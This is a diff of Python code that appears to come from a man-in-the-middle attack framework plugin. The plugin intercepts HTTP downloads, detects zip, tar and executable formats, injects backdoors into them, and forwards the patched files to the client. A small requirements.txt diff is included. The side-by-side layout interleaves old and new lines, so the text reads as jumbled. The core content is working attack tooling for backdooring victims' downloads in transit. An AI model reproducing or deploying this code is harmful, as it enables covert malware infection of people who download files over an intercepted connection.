if target in request.headers['host']: if target in request.headers['host']:
self.parse_target_config(self.userConfig['targets'][target]) self.parse_target_config(self.user_config['targets'][target])
if content_header in self.zipMimeTypes: self.hosts_whitelist_check(host)
self.keys_whitelist_check(request.uri, host)
self.keys_backlist_check(request.uri, host)
self.hosts_blacklist_check(host)
if self.bytes_have_format(data, 'zip'): if content_length and (content_length >= long(self.FileSizeMax)):
self.clientlog.info("Detected supported zip file type!", extra=request.clientInfo) self.clientlog.info("Not patching over content-length, forwarding to user", extra=request.clientInfo)
self.patchIT = False
process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,)) if self.patchIT is False:
process.daemon = True self.clientlog.info("Config did not allow patching", extra=request.clientInfo)
process.start()
#process.join()
bd_zip = self.patched.get()
if bd_zip:
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
return {'response': response, 'request': request, 'data': bd_zip}
else: else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
self.clientlog.info("Detected supported tar file type!", extra=request.clientInfo)
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) mime_type = magic.from_buffer(data, mime=True)
process.daemon = True
process.start()
#process.join()
bd_tar = self.patched.get()
if bd_tar: if mime_type in self.binaryMimeType['mimes']:
self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo) tmp = tempfile.NamedTemporaryFile()
return {'response': response, 'request': request, 'data': bd_tar} tmp.write(data)
tmp.flush()
tmp.seek(0)
elif (content_header in self.binaryMimeTypes) and (content_length <= self.FileSizeMax): patchResult = self.binaryGrinder(tmp.name)
for bintype in ['pe','elf','fatfile','machox64','machox86']: if patchResult:
if self.bytes_have_format(data, bintype): self.clientlog.info("Patching complete, forwarding to user", extra=request.clientInfo)
self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo)
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) bd_file = os.path.join('backdoored', os.path.basename(tmp.name))
process.daemon = True with open(bd_file, 'r+b') as file2:
process.start() data = file2.read()
#process.join() file2.close()
patchb = self.patched.get()
if patchb: os.remove(bd_file)
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
return {'response': response, 'request': request, 'data': bd_binary}
else: else:
self.clientInfo.info("Patching Failed!", extra=request.clientInfo) self.clientlog.error("Patching failed", extra=request.clientInfo)
# add_try to delete here
tmp.close()
else:
for archive in self.archiveTypes:
if mime_type in archive['mimes'] and self.str2bool(self.CompressedFiles) is True:
try:
self.set_config_archive(archive['params'])
data = self.inject(data)
except Exception as exc:
self.clientlog.error(exc, extra=request.clientInfo)
self.clientlog.warning("Returning original file", extra=request.clientInfo)
self.clientlog.debug("File is not of supported content-type: {}".format(content_header), extra=request.clientInfo)
return {'response': response, 'request': request, 'data': data} return {'response': response, 'request': request, 'data': data}

View file

@ -1,4 +1,5 @@
git+git://github.com/kti/python-netfilterqueue git+git://github.com/kti/python-netfilterqueue
git+git://github.com/gorakhargosh/watchdog
pycrypto>=2.6 pycrypto>=2.6
pyasn1>=0.1.7 pyasn1>=0.1.7
cryptography cryptography
@ -17,7 +18,7 @@ Flask
dnspython dnspython
beautifulsoup4 beautifulsoup4
capstone capstone
python-magic
msgpack-python msgpack-python
watchdog
requests requests
pypcap pypcap